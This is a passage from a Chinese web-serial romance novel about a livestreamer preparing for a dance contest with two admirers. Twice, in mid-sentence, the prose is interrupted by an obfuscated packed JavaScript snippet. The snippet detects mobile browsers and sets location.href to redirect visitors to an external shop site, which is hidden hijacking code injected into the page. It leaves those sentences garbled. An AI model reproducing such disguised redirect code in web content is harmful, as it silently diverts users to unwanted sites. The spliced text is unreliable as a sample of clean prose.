林波微步笑着摆手:“没有没有,我就是想问问你,呃,那个……” 准备好的话突然说不下去了,因为他发现,谷煜和时闻虎视眈眈的,一个抱臂杵住门内,一个面无表情地立在门外,二人都比他高一头,看着威慑力十足。 他一下子气短,本来要说的话一下子掉进了肚子里。 林见微不明就里,追问道:“你想问我什么?” 林波微步为难地挠挠头,他本来想问林见微要不要一起出去吃个饭,顺便切磋琢磨一下明天的比赛。 但直觉告诉他,这里危险还伺,不宜久留,赶紧逃走,否则小命休矣! “咳咳,就是,呃,那个……” 谷煜和时闻压来的目光越来越低沉,好像磨牙吮血蓄势待发的猛虎一样,随时都能猛扑过来把他撩倒在地,然后撕碎分尸。 林波微步在内心大喊救命,几经挣扎最后憋出一句:“啊,我就是想告诉你,明天我要跳《武娘》,咱俩商量好,别再重了。” 林见微“啊”的一声惊叫出来:“我也选的是《武娘》!” 紧接着她拍手笑道:“你别说咱们还挺心有灵犀的,一开始我们情侣走秀的时候,不也是不约而同一齐想到了《武娘》?” “英雄所见略同,后来果然赢得了满堂彩。” “实不相瞒,我开始关注你,就是因为你跳了《武娘》,我还给你刷过礼物呢!劈大叉,我的小号……” “咳咳!”林波微步焦急地打断她。 周遭的气压愈来愈低,谷煜和时闻两人脸色阴沉的不像话。 林波微步再也忍不住:“啊,那个,我还有点事要先走了,你,你们慢聊。” 他小跑着窜了出去,但还不忘一步三回头地喊道:“你要是想让我换曲目,就微信我啊!” 林见微大奇,不明白他为何慌里慌张,来去匆匆,只得挥手道:“晚上微信联系!” 话还没说完,时闻冷冷截道:“我上次发的微信消息,你还没回呢。” 林见微:“什么?我怎么没回你消息?你发的是什么消息来着?” 时闻脸上写满了无语:“我说,不用了,肯定洗不掉了。” 说着他逼近一步,凛冽的松竹气息扑面而来,将林见微团团包住。 “想起来了?” 林见微愣了一下,脑子里浮现出了那条八百年前的消息。 还有那件可怜的被浸上红油汤汁的高贵银灰色西装外套。 她挠挠头,思索一下然后掏出手机,噼里啪啦敲了几下。 下一秒,时闻手机响了一下。 他疑惑地打开手机,里面赫然是大劈叉的微信消息: [那就洗一洗自己的小心眼吧!] 时闻:……?!?@-/:;? 震惊之中,林见微已经扬了扬手,撩下一句“去个厕所,半小时后饭店见”,然后大步潇洒离去。 38.三十八 半小时后,展馆附近的金牛苑餐厅的一个小包间里。 望着桌上整整齐齐的三瓶蓝牛,林见微哭笑不得地抬起头,正对上谷煜那燃着兴奋的目光。 林见微:“你确定大晚上的喝这饮料是个好主意?” 谷煜的腿在桌下抖来抖去,他的声音里透着亢奋:“没事,效果只维持俩小时。” 林见微上下打量着他看着格外精神的脸,半晌问道:“你……喝了几瓶了?” 谷煜嘿嘿笑着竖起食指:“就下午那瓶,你不是怕我坑你不想喝嘛,我就自己独享了。” 林见微和时闻不约而同地默默低头看了下手机锁屏,现在是晚上七点,她下午四点左右上台跳舞。 于是两人对视了一眼,默契地微微摇了摇头。 这时一个服务员小姐姐正好走来,时闻叫住她:“您好,可以给我们来三份菜单吗?” 小姐姐愣了一下,然后指着桌角用看外星人的眼神看着他:“扫码点餐,小程序里直接下单。” “哈哈哈哈,”谷煜大笑,“你这个山顶洞人。” 时闻颇为尴尬地掏出手机,比着二维码扫了半天。 服务员小姐姐看了半天唉叹一声,抢过手机一顿操作,把手机丢回来:“不是让你用支付宝付账,菜还没上呢着什么急。” 谷煜立刻开启嘲讽模式:“傻了吧,谁叫你平时聚餐不来,现在连点单都不会了。” 时闻没好气地白了他一眼:“外面地沟油多,在家里自己做饭安全放心。” 谷煜把蓝牛推到他面前:“那就来瓶蓝牛,解毒利尿,包治百病。” 磕磕绊绊地点了单,时闻进入正题:“大劈叉,我们聊一下关于封号的事吧。” 林见微听他说得正式,不禁觉得好笑:“没问题时总。” 时闻正色道:“我帮你打听了一下,封号这件事确实是高家的手笔。” “但别担心,我们时家不是吃素的,我已经在给他们施压了,过两天应该就能初见成效。” 林见微惊讶道:“谢谢……但你不是和家里关系……呃……” 时闻和家里关系不好是公开的秘密,圈子里都知道。 但大劈叉只是一介小主播,自然不应该瞎讲。 时闻倒也没在意,只是缓缓道:“我很早就和家里决裂了,从上高中的时候就搬出去自己单过了。” 谷煜在一旁适时补道:“所以我们时大公子练就了一身本领,做饭换灯泡修电脑通下水道样样精通,是个十指天天沾阳春水的绝世好男人。” 时闻白了他一眼。 林见微赞叹道:“厉害厉害。” 时闻续道:“我和家里,尤其是我大哥时穆飞,关系很僵,平时没来往。但我和我姐姐时穆烟关系还行,这次我是拜托的她来帮忙。” 林见微以前听说过时家的构成:母亲早逝,老爷子前些年也归西了,时墨集团交到了时家老大时穆飞和二姐时穆烟手里。 时闻和时穆飞互相看不顺眼,兄弟关系非常不好,多年没来往,是二姐时穆烟这么多年一直居中斡旋,才勉强维持着家的完整。 时闻一直秉承着能不和家里联系就不联系的原则,现在为了大劈叉直播的事求到了时穆烟,可见他对此非常上心。 谷煜啧啧赞道:“有心了。” 时闻淡淡一笑,问道:“你那边怎么样,舒养酸奶的事解决了吗?” 谷煜点点头又摇摇头:“大面上的算是解决了,但局部问题还在。” “李寅虎李总帮我暂时平息了和元老们的纷争,大家各退一步,他们保持一定股份,但把几条产品线的自主权让渡给我。” “所以这件事,大面上算是OK了,但局部还是有有幺蛾子。” 说着他看向林见微:“舒养酸奶又被人举报了,大劈叉知道的可能比我多。” 提到这件事,林见微便哀叹一声:“别提了,应该是恶意举报。” 她把直播间推广舒养酸奶,又被人恶意举报的事大致给时闻介绍了一下。 时闻皱眉:“这也太缺德了。” 谷煜:“可不是吗!” 林见微:“其实我这里有些进展,我联系上了恶意举报的那个人,准备周一去冬江会一会他。” 谷煜眼睛瞪得老大:“你这效率也太快了吧?没喝蓝牛我不相信。还有,你要一个人去吗?” 林见微:“是这么个打算……怎么,你有时间一起去吗?” 谷煜:“当然了,舒养酸奶就和我的孩子一样,是头等大事,我周一有空,你几点的高铁票?” 林见微:“上午10:10的。” 谷煜立刻拿起手机,库库一通操作,准备确认付款的时候手肘捅了捅时闻:“诶,你反正已经被娱乐圈开除了,无业游民一个,要不和我们一起去?” 谷煜本来只是随便问问,没想到时闻立刻说:“好啊,帮我也买张票呗。” 谷煜震惊地看了他一眼,心想:这小子平时足不出户,叫他出来喝酒吃饭郊游踏青简直难于上青天,这次怎么这么顺利地就同意了。 时闻淡淡地回看过来,黯色幽深的眸子里看不出情绪。 谷煜订好两张票,菜也上桌了,白灼菜心,蟹黄豆腐,三杯鸡,葱爆牛肉,外加一大盆香喷喷的白米饭。 谷煜早就饿了,盛好米饭猛扒几口,瓦了几勺菜风卷残云地吃了,然后突然意识到什么,抬头碰上时闻和林见微目瞪狗呆的目光。 “怎么了,怎么不吃啊?”谷煜嘴里含着饭菜,说话有些囫囵。 时闻:“……没事,就是看你吃饭特别香,欣赏一下。” 谷煜白了他一眼:“你就是嫌我吃得多,我可不比你,大明星,需要保持身材,每天靠仙气活着。” “人生在世,吃喝二字,来大劈叉,咱不跟他这个怪物一般见识,吃,敞开吃!” 但林见微也只是舀了一小勺饭,蜻蜓点水地夹了点菜。 谷煜这才想起上次聚会,她也是这么吃的,当时他还以为她不能吃辣,所以这次特地选了个清淡一些的粤菜馆。 林见微歉然笑道:“其实我也……不能多吃,要保持身材。” 谷煜愕然,叹息地摇摇头,默默地把四盘菜都往自己面前拉了一拉。 时闻又默不作声地把白灼菜心和蟹黄豆腐拉了回来。 风卷残云饱餐一顿,望着只残留一点汤汤水水的盘子,谷煜心满意足地打着饱嗝。 突然他目光一紧,意识到了什么。 “等一等,我们上次聚餐,时闻你不是也点了白灼菜心和蟹黄豆腐吗?这次怎么又要了这些,没创意。” 时闻淡淡笑笑:“有人喜欢吃。” 谷煜一下子明白过来,“哦”地一声怪叫了出来,尾音拉得老长。 “原~来~如~此~啊,啧啧。” 时闻无奈地看着谷煜意味深长的眼神,林见微则在一瞬间脸上莫名发烫。 “咳咳,”时闻轻咳两下,目光转向林见微:“明天的唱跳,你有什么打算?” 林见微一愣,随即答道:“就硬跳呗,还能怎样。” 时闻:“你和林波微步撞了曲目,他舞蹈功底比你好一些,到时候分数上肯定吃亏。” 林见微苦笑道:“那也没有办法,命苦啊。” 时闻思忖片刻说:“你要不要考虑改编歌曲?” 见林见微十分讶异,时闻笑道:“比如,在原有的编曲上加上一些变化,再设计一些新的动作?” 林见微:“这是个好主意啊……但是来得及吗,演出明天上午十点就开始了。再说了,怎么改编呢?我没有头绪,不会音频剪辑,也不懂编舞。” 时闻微微一笑:“我会。” 林见微瞪大了眼:“啊?” 谷煜在一旁意味深长地嘿嘿一笑:“跟你说了嘛,我们时闻一身都是本领,随时随地都能给你惊喜。” 时闻再次轻咳一下,正色道:“你觉得,在原有的音乐里加入一些戏曲元素怎么样?比如用戏剧唱腔开场,中间也加一点。” 谷煜补道:“诶,不如把其中一段rap换成戏剧念白。” 林见微听得两眼放光:“没错没错,是个好主意。” 时闻:“相应的你可以把一段舞蹈动作替换成戏剧表演,甚至可以跟着清唱几句。” 林见微苦笑地摇摇头:“我唱歌都唱不好,还唱什么戏啊。” 时闻认真地看着她:“这都是可以练习的,今晚恶补一下,说不定有奇效。” 林见微看看表,已经将近九点了,这得折腾到后半夜了。 唉叹一声,她问出了个很关键的问题:“那我们晚上去哪儿排练?” 半个小时后,锦鑫花园12号楼1单元5楼东户。 时闻旋转钥匙,做了个请进的手势,同时无奈地说:“我还是不明白,为什么不去谷煜的独栋大别墅,非要挤到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16549220|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这么个小破地方。” 谷煜笑嘻嘻地走进去,啪嗒按开灯,一个温暖温馨的小屋映入眼帘。 这是一个两室一厅的房子,面积不大,日式北欧装饰显得简洁大方又不失温馨舒适。 客厅、餐厅、厨房连在一起,淡色原木家具干净整洁,木地板上纤尘不染。 时闻从门口鞋柜里找出三双拖鞋,丢在地上回头一看,谷煜已经大大咧咧坐在沙发上了: “我那别墅离这里十几公里,来来回回要两个多小时,相比之下你这里就方便多了。” 林见微有些局促,时闻笑道:“找个地方坐吧,我把电脑拿来。” 林见微四处瞅了瞅,最后在茶几一侧的小扶手椅上坐了下来。 扶手椅出人意料的舒服,墨绿色的落地灯打在深红色的绒面布料上,给人一种心安舒适之感。 扶手椅旁是三层的小木质书架,上面整整齐齐摆满了各色书籍和精致的工艺饰品。 这个角落让林见微想起时闻的微信头像,那张让人感到平静安宁的书房图片。 晃神间时闻已经拿着电脑回来,把谷煜的长手长脚扒推一边,在后者的白眼中安静坐了下来。 骨节分明的修长手指打开平板电脑,清脆地敲击几下键盘,电脑荧幕微光反射在他幽深深邃的眼底。 他熟练地打开剪辑软件,调出几份音频文件,拖拽敲击几下,生成一份初剪的音乐。 按下播放键,柔和温婉的小旦戏剧唱腔从电脑中传来,一词一句细腻婉转,低回缠绵,诉说着征人不归,年轻女子空守闺房的落寞心情。 紧接着金戈铁马声隐隐响起,低沉的鼓点一下一下叩击心弦,由弱转强渐成气吞山河之势。 凄惶高亢的二胡声异军突起又迅速戛然而止,紧接着rap唱词接入,低沉喑哑的男声伴着战鼓铿锵有力的鼓点,诉说着征人气吞山河的气概。 几段rap后戏曲对白横空而入,柔美婉转的嗓音和低沉低哑的rap形成鲜明对撞,迸发出的巨大张力令林见微和谷煜赞叹不已。 整首曲子在此节达到高|潮,嘈嘈切切的旋律和唱词此起彼伏相互交织,将人代入那金戈铁马,气吞万里如虎的战场。 万马奔腾,全军出击,兵刃相交,血染沙场。 然后一切都戛然而止。 空了几个节拍,曲子开头那温婉的小旦戏腔再次出现,声声切切道着努力加餐饭,声音哀婉至极,不知是征人未归,还是已经马革裹尸还。 旋律大起大落,感染性太过强烈,曲终后有那么几秒钟,林见微处在一种极强的情绪中。 几滴泪在眼圈里滚动,最后还是怔怔落下。 谷煜吓了一跳,手忙脚乱地从桌上一包抽纸中刷刷抽出几张纸,关切问道: “怎么了,是不是比赛压力太大?没事,你能力那么强,肯定没问题。再说了输了又能怎样,下次再接再厉就是了……” 林见微慌忙用手背擦去泪水:“不不,我就是……唉。” 她擦完眼泪抬起头,正对上时闻那双幽深的眸子。 他望着她,探究的目光里充满了惊讶和关切,还有一丝难得一见的,如阴云密布的天空里泻出几缕阳光的温暖。 林见微从未在他眼里看到过这种情绪。 时闻于她,于这世间,就好像一株深山雪松,永远沉默,永远漠然,对世间一切疾苦和美好都无动于衷。 他们在无人看到的地方自行生长、盛放、凋落,不好奇也不在乎身边的任何事。 但这一刻,林见微觉得他终于“活”了过来,和人世间产生了纠缠,她和他之间达成了某种联结。 时闻:“所以你觉得曲子这样改OK吗?” 谷煜不可思议地望着他大叫:“大哥,你有没有人性!人家都这样了,你还在想着曲子??” 谷煜的表情和语气太过夸张,林见微破涕为笑:“我觉得曲子这样改很好,你……你的音频剪得很好。” 时闻笑了,像冬日暖阳:“谢谢。” 正在这时,突然传来一阵敲门声。 咚、咚、咚。 谷煜惊讶好奇地看向时闻:“你有客人?” 时闻沉声点头,啪地合上平板电脑,站起身走向门口。 门打开后,一个长发披肩温婉俏丽的女孩走了进来,好奇地朝屋内张望,既而甜甜地自我介绍说: “你们好,我是时闻的高中同学,苏紫晴。” 39.三十九 苏紫晴穿着牛仔连衣裙,背着白色帆布包,手里捧着平板电脑,笑吟吟地看着林见微和谷煜。 谷煜愣了半晌才站起身打招呼:“苏同学你好,我是谷煜,时闻的狐朋狗友。” 苏紫晴甜甜地笑道:“我知道,平时总听时闻提起你,今天可算见到真人了。” 谷煜抓住重点:“你们两个……平时联系很多吗?” 时闻刚想说什么,苏紫晴已经抢先道:“我们高中前后桌,关系一直都很好,毕业后经常联系,最近我们每个周末都一起吃饭。” 时闻的脸色沉了一下,谷煜目光依次划过众人,嘴巴张合几次却又不知该说什么。 这时林见微已扶手椅上站起,落落地说:“你好,我是大劈叉。” 苏紫晴的眼睛一下子亮了:“哎呀,你就是大劈叉,幸会幸会,我今天就是专程过来帮忙剪辑明天要用的音频文件的。” 林见微微微挑眉,心里电光火石间转过许多念头。 半晌后她笑着看向时闻:“谢谢你如此重视我的事,还特意请了外援。” 时闻本想说“哪里哪里,都是应该的”,但屋内氛围似乎哪里不对,直觉告诉他不能这样说。 犹豫片刻他挠头道:“大家都坐吧,咱们干正事。” 苏紫晴在长沙发的一角坐下,然后拍拍身边的位置,笑着抬头:“时闻,过来坐这边。” 时闻应了一声,拿着电脑走过去坐下。 他和苏紫晴之间刻意保持了20公分的距离,苏紫晴把书包从肩上卸下,摆在靠扶手的一边,身子自然而然地往时闻那边挪了一点。 淡淡的香水混着沐浴露的清香扑鼻而来,时闻皱了皱眉头,不动声色地又往外移了一些。 谷煜坐在一侧的小沙发上,林见微则坐回扶手椅上。 苏紫晴在膝头打开电脑,转头看向时闻,眸光温柔笑颜如花:“你开始剪辑了吗?” 时闻点点头歉然笑道:“我刚刚粗剪了一个版本,已经放给他们听了,你来得有点晚没赶上。” 苏紫晴失望地“唉”了一声,随即笑道:“没事,下次咱们吃饭的时候,你单独放给我听。” 时闻没说什么,谷煜插道:“老时,你什么时候学的音频剪辑?” 不知是不是错觉,时闻的眼神有一瞬间的暗淡。 半晌他淡淡地说:“高中的时候。” 苏紫晴立刻补充道:“你可问到关键问题了,高中的时候时闻一直默默喜欢一个女生,为了给她制作视频,自学了音视频剪辑,还给她做了几十个视频资料。” 谷煜:“是给你做的?” 苏紫晴叹息摇头,苦笑道:“我哪里有这个荣幸!” 林见微也试探问道:“是不是冬江那位?” 苏紫晴眼睛一亮,哈哈笑道:“你怎么会知道!没错,因为喜欢的女孩子在冬江,所以时闻可喜欢那座城市啦。” 林见微笑了笑,内心突然翻江倒海。 时闻明明是个能不社交就不社交,能宅家里就宅家里的人,刚刚却欣然同意和他们一起前往冬江。 还不是因为他喜欢的女孩子是冬江人。 而他,也因为一个人,爱上一座城。 想到这,林见微的心里突然揪着疼了一下。 她还以为,时闻愿意和他们一起去冬江,是因为他对她……有那么一丢丢的好感。 下一刻她暗骂自己:这是怎么了!说好的要好好拼事业,怎么尽想些儿女情长? 二人说话间,时闻正专注地在电脑上敲击着什么,苏紫晴看了看他的屏幕笑道:“不是说已经剪辑好了吗,怎么还微调这么多次?” 时闻没有抬头,修长的手指在键盘上敲击拖拽:“要尽善尽美。” 苏紫晴叹道:“你还是那么的完美主义,生活上事业上感情上,都是如此。” 说着她突然想起了什么,抬头看向林见微笑道:“大劈叉,话说你喜欢什么样的男孩子啊?” 苏紫晴笑颜如花,但林见微总觉得她的眼神里带着某种凌冽杀气。 她喜欢什么样的男孩子?林见微心里瞬间浮现出《风华绝代》首映礼那天,时闻一身深灰色西装,漫不经心地倚着栏杆,在三十多度的气温下依然显得那么淡然清冷。 她还想起高翔给她下药的那天晚上,时闻愤然砸碎啤酒瓶冲上去干架,手指缝间流下一道道殷红的血。 她想起那晚之后,时闻对此事的绝对缄默,仿佛这件事从未发生。 低头笑了笑,林见微缓缓答道:“我啊,我喜欢……活泼外向的男孩子。” 不知是不是错觉,正在低头认真剪音频的时闻好像突然有些愣神,不停敲击键盘的手指有一瞬间的暂停。 空气凝滞了一瞬,但下一秒键盘很快仿若无事地噼里啪啦响了起来。 苏紫晴眼睛亮了起来,笑意从嘴角漾出:“所以你一定喜欢谷煜这样的!” 谷煜刚想澄清,林见微已经抢道:“我和他只是朋友,而且,我现在只想以事业为重,不考虑感情问题。” 苏紫晴眨了眨眼睛,目光中带上几分微妙的探究。 犹豫片刻她还是问道:“大劈叉,你……你除了主播,还有什么其他工作吗?” 林见微愣了一下,摇摇头。 苏紫晴不依不饶地问:“那……方便问一下你的学历吗?” 林见微:“高中学历。” 苏紫晴的眸子里闪过一丝失望,满脸的不可思议:“那……那你一定是家里很有钱?” 林见微也摇摇头。 苏紫晴不禁大失所望,犹豫再三,还是再次确认:“所以你真的只是……呃……只是一个主播?没有其他身份?” 林见微笑着摇摇头。 谷煜看不下去,阴着脸问道:“你什么意思,为什么要查户口?” 苏紫晴大窘,满脸通红地慌忙摇头:“对不起,我不是那个意思,我只是……” 说着她偏头快速看了一眼时闻——他还在专注地剪音频,似乎没有注意到周遭发生的一切。 他眼角下压,嘴唇紧抿,眉心微皱,似乎在认真思考着什么。 苏紫晴踌躇许久才字斟句酌道:“我只是觉得,能让我这位老同学深夜亲自操刀剪音频的人,一定不是一般人。” 说到后面她的声音越来越弱,似乎已窘迫至极。 谷煜见状,面上也和缓一些:“大劈叉本来就不是一般人,你不要戴着有色眼镜看人。” 苏紫晴连连点头:“不会了,是我的问题。” 这时时闻啪地合上电脑,看向苏紫晴,目光里透着冷冽:“音频剪好了,对不起今晚让你白跑一趟。” 苏紫晴忙道:“不碍事的,是我来晚了,路上堵车了……” 时闻站起身,修长的身形挡住灯光,在她脸上投下一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555621|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长长阴影。 从侧面看,他的下颌线异常锋锐,向下的眼角拉出一道寒冷的弧度。 薄薄的嘴唇里吐出一句没有温度的话:“那你先回去吧。” 苏紫晴下意识抓起书包,想起身的时候突然犹豫问道:“已经快12点了,你……你能不能送我回去?” 时闻干脆地摇头:“你家司机不是应该在楼下等你吗?” 苏紫晴脸上涌起一阵红:“我让他回家了。” 时闻皱眉,不悦地说:“你这考虑得也太不周到了,大晚上的打算自己一个人坐两个小时地铁回家吗?” 苏紫晴低头扣着书包带子,半晌没有说话。 见状,时闻有些不耐地叹了一声,活动了一下筋骨,转而看向谷煜。 谷煜立刻有一种不祥的预感。 果然,下一刻时闻说:“你家和苏紫晴家离得不远对吧,要不你送她回去吧,挺顺路的。” 谷煜:“!大哥,我也没开车啊!” 时闻笑着从桌上拾起剩下的两瓶蓝牛:“没事,正好你们一人一瓶,喝了有劲坐地铁。” 谷煜从身体深处发出一声沉痛哀嚎。 把二人清走后,室内只剩下林见微和时闻。 气氛一下子变得有些微妙,时闻坐在沙发上,第一次觉得自己的手脚似乎有些无处安放。 林见微从扶手椅上站起来:“那我也回去吧,还要练习一下舞蹈动作。” 时闻也慌忙起身:“没事,我这里也可以练,再说这么晚了,你一个人回去也不安全。” 林见微笑笑:“我就住在附近,走个十分钟左右就到了。” 说到这里她突然想起什么:“哦对了,上次高翔的人把我堵在路上,你正好路过,是因为你就住在附近啊!” 时闻笑了:“是啊,谢天谢地我离你不远。” “你直播的时候不是给大家展示了酸奶的购物小票吗,那上面有便利店的具体地址,我猜高翔的人是通过这个线索锁定你的具体位置的。” 林见微恍然大悟:“原来如此,那你……你看了我的直播?” 时闻:“看了你很精彩的一场直播。” “大晚上别一个人走夜路,就算在闹市区也不行。” 说着他干脆走到门口拿起钥匙:“我送你回去吧。” 他说着抬起头认真地看着她,向来幽深的眸子里含着笑意,闪着几点温暖的光。 林见微心念一动,几乎要点头的时候,时闻的电话突然响了起来。 接起后,一个带着愠怒的女声急急传了出来:“时闻我说你脑子有病吧,大晚上的竟然让人家紫晴妹妹坐地铁回去??” 时闻尴尬地捂住话筒,用唇语对林见微说了句“不好意思稍等我一下”,就拿着电话匆匆走进卧室,关上门。 里面隐隐约约传出他的声音:“我找人送她了……是她自己非要跑来……我会赔礼道歉的……” 电话那头的人似乎执意要让时闻解释清楚他的所作所为,过了三分钟,时闻还没有出来。 林见微看看表,决定还是自己回去。 毕竟,她今晚没多少时间。 而且,她不想给时闻错觉,让他觉得她想和他独处。 在她的心里,没有什么比事业更重要,今晚她已经思虑了太多个人感情,所以她决定还是一个人压马路回去,好好地放空脑袋,规划一下接下来的事。 40.四十 第二天早上九点,会展中心后台。 第三轮比赛是早上十点开始,林见微特意早来了一会儿,熟悉场地,再最后练习一下舞蹈动作。 正准备着,电话突然响了起来,拿起来一看,是姐姐韦宁的来电。 林见微心中诧异,但还是接了起来:“喂?” 韦宁:“在忙吗?” 林见微忙说:“不忙,怎么了?” 韦宁笑了笑:“没事,就是想打个电话跟你说,今天的比赛加油。” 林见微更惊讶了:“你怎么知道我今天有比赛?” 韦宁:“你不知道吗,你们群蕉荟萃节目是全程直播的,我都看到了。” 林见微:“!?我确实不知道……谢谢你这么关注我的动向,我……评论里有说什么吗?” 韦宁微微一笑:“大家都夸你呢,夸你和林波微步特别般配,说你们是‘大波’cp,‘叉播’cp。” 林见微刚喝了水差点一口喷出来:“纳尼??” 韦宁哈哈笑了:“我也觉得你俩很配啊,我已经加入‘大波’cp的粉丝群了。” 林见微:“……” 韦宁:“今天的比赛放宽心,就当享受比赛了,我记得小的时候咱俩一起学舞蹈,每天练习劈叉压腿下腰,我问这么苦的日子你怎么受得了,你却对我说,姐姐我享受跳舞,所以就不觉得苦了。” “今天也是这样啊,要享受,不要想太多。” 姐姐的话语温柔好听,林见微鼻头一酸,柔声道:“谢谢,我会的。” 顿了顿问道:“你最近怎么样?《冬逝华年》的剧本进展如何?” 韦宁:“剧本定稿了,我们最近在招募演员。诶对了,你有没有兴趣来片场看一看?” 林见微两眼放光:“当然!等我比赛结束,过两天去找你。” 韦宁十分开心:“好。” 刚挂断电话,就听后面突然传来一道低沉的声音:“《冬逝华年》?” 林见微吓了一跳,转头看去,发现时闻和谷煜不知何时已站在她身后。 谷煜眼底一团青黑,一看就是昨晚没睡好,打着哈欠问了声好。 时闻今天有些变化,一改往日黑白灰的穿衣风格,他竟然穿了一件……粉红色的polo短袖,搭配浅灰色运动裤和白色运动鞋。 头发也不是以往的老干部风格,没有刻意打发胶,而是松散地垂下,整个人看着青春了许多。 林见微:“???” 时闻笑着递过来一个U盘:“刚刚把音频文件拷贝给场控那边了,这里是一份备份,你拿着吧。” 林见微好奇疑惑地接过U盘,再三地打量了一下他的装扮。 时闻不好意思地拢了拢头发:“怎么样,今天的装扮还行吗?” 林见微:“……挺好的,就是……你怎么突然改风格了,是不是错穿了谷煜的衣服?” 时闻板起脸:“我是今早特意买的,怎么,你觉得不合适?” 林见微忙摆手:“不是不是,我觉得挺好的,挺适合你的,青春动人,活力无限。” 时闻笑道:“我也这么觉得。对了,我不是故意偷听,但我好像听你刚刚说什么《冬逝华年》?” 林见微点头:“对,是我姐姐写的剧本,怎么了?” 刚说完她就反应过来,时闻毕竟是演艺圈的人,文眉导演的作品又多偏文艺风,很符合时闻的审美。 所以他很可能听说过文眉导演正在筹备的新作,《冬逝华年》。 果不其然,时闻非常惊讶地说:“剧本是你姐姐写的?天呐噜,太厉害了叭!文眉导演是我最喜欢和欣赏的导演之一,所以我一直很关注她的作品,之前大致听说过《冬逝华年》的故事梗概,我非常喜欢。” 林见微:“你今天说话怎么……” 时闻继续滔滔不绝:“我听说《冬逝华年》讲的是一个冬天的爱情故事,一个下雪天男女主在一个昏暗小酒馆相遇,二人相谈甚欢。男生因为一个项目来这里工作四个月,女生因为家里的情况所以一辈子不想结婚。” “二人相处起来意外合拍,于是约定只谈一个冬天的恋爱,等到冰雪消融春花生长的时候,两个人就分开。” “但是等春天真的到来时,男生和女生都不愿意面对即将到来的分离,后来男生说,你再等我一年,明年冬天我还来这座城市。” “下一个冬天初雪的日子,男主按照约定来到二人一开始相识的小酒馆,女生也如约而来,两人相谈甚欢,仿佛没有分开过一般。” “冬去春来,男生再次离去,二人定下同样的初雪之约。如是进行了五年,中间经历了各种坎坷和误会。最后男生求婚,女生欣然同意,于是二人在第六年的初雪完婚。” “我觉得这故事听着挺美好的,没想到是你姐姐的作品。” “诶对了,你今天的比赛准备得怎么样?不紧张吧?哦你昨天晚上怎么自己走了呢,路上没遇到危险吧?” 林见微:“都挺好的…………你是不是吃错药了???” 这时她看到谷煜那副半死不活的样子,突然一拍脑门:“哦我知道了!你是不是喝了蓝牛,不然怎么这么兴奋?” 时闻不好意思地挠挠头:“我话太多了是吗?不好意思,我平时不这样的。” 隔了片刻,他似乎下定决心一般,有些吞吐地问道:“我今天这样……呃,算外向活泼吗?” 林见微瞪大眼睛,然后突然想起,昨天晚上她对苏紫晴说,她喜欢外向活泼的男生。 然而还没来得及等她说什么,场控小姐姐来喊人了:“大劈叉,过来抽签了!” 林见微应了一声,快速撂下一句“还是以前的你比较可爱”,一溜烟地跑走了。 幸好她跑得快,不然就会被谷煜和时闻看见,她脸上飞起的那一片片红晕。 抽签结果挺遂人愿的,她抽了个第12,林波微步抽了第9。 沈惊鸿是第15。 如果今天能正常发挥的话,拿个前三的名次应该不成问题,虽然很可能进不了《星璨》,但是至少让更多的人认识了自己。 这么想着她往候场室走去,但半路上听到了窃窃私语。 “看,这就是大劈叉!”“就是她啊,还以为长得多好看呢。”“但人家是昨天的人气榜第一呢!”“害,一个被封禁的主播,能搅起多大水花?”“她唱歌也不行,跳舞也拉胯,今天是唱跳比赛,肯定没名次!” 林见微只做没听见,默默朝候场室走去,这时有人从旁叫住了她: “大劈叉。” 林见微惊讶抬头,只见郝施正倚着墙边,半笑不笑地盯着她。 以往郝施和麦乐鸡都是成双成对地出现,不知为什么今天只有她一个人。 她淡淡问了个好,郝施从包里拿出一张A4白纸,上面好像打印了什么东西。 “你看看,没问题就签个字。”郝施把纸递过来。 林见微微微挑眉,接过来一看,只见上面赫然写着“解约协议”。 望着林见微惊讶面容,郝施冷然说道:“麦乐鸡给你的。” 林见微知道这是昨天的举动起了作用,心下欣然,将协议从头至尾读了一遍。 协议不长,只说同意韦盏和公司解约,不追责,不要求违约金,即日生效。 末尾处,麦乐鸡已经签了自己名字。 林见微看了几遍,在一旁龙飞凤舞地签下“韦盏”二字,把协议递还回去。 郝施看了一眼便把协议收回包内,点头道:“你是自由人了,恭喜啊。” 虽然如此,郝施的语气冷冰冰的,全无恭喜意味。 林见微笑笑:“后会有期。” 说完,在郝施复杂的目光里,她款款走向后台,进门后拉了一把椅子坐在角落。 打开手机,登入网上银行,里面赫然躺着一条消息提醒: 尾号6238账户给您汇款四百万元整。 陈怀顾第二笔分手费到账。 加上第一笔四百万的分手费,还有之前从麦乐鸡那里薅到的一百万,以及这个月陈怀顾给的生活费,并上之前的存款六百万,她现在也算是个A8小富婆了。 非常奶思。 第三场比赛于十点钟准时开始,报幕小姐姐先是公布了前两轮分数综合下来的名次,林波微步是男生里面的第一,沈惊鸿是女生里面的第一。 林见微在女生中只排第六。 第一个上场的是一个叫欣欣的女主播,她综合排名第十二,唱跳能力都不太突出,所以效果平平,没什么水花。 第二个上场的叫科班老五,也没什么亮点,唱跳中甚至出现了一些失误,评委纷纷给出4分。 第三名和第四名也依次上场,这时后台突然出现一片骚动。 “怎么了?”“去看看,沈惊鸿好像哭了”“啊?为什么?”“好像有人朝她的鞋里放钉子”“什么??” 林见微吃惊地循声望去,只见大家纷纷朝后台一角跑去,那边隐隐传来低声啜泣。 